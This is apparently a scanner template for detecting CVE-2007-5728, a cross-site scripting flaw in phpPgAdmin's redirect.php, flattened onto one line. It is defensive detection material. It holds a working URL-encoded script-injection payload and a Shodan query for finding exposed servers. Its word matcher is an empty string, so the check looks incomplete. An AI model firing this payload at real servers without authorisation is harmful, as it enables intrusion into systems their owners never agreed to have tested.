id: CVE-2007-5728 info: name: phpPgAdmin <=4.1.1 - Cross-Site Scripting author: dhiyaneshDK severity: medium description: phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, which are different vectors than CVE-2007-2865. reference: - https://www.exploit-db.com/exploits/30090 - http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/063617.html - http://web.archive.org/web/20210130131735/https://www.securityfocus.com/bid/24182/ - http://web.archive.org/web/20161220160642/http://secunia.com/advisories/25446/ - https://nvd.nist.gov/vuln/detail/CVE-2007-5728 classification: cve-id: CVE-2007-5728 metadata: shodan-query: http.title:"phpPgAdmin" tags: cve,cve2007,xss,pgadmin,phppgadmin,edb requests: - method: GET path: - '{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E?subject=server&server=test' matchers-condition: and matchers: - type: word words: - '' - type: status status: - 200 - type: word part: header words: - "text/html" # Enhanced by mp on 2022/08/12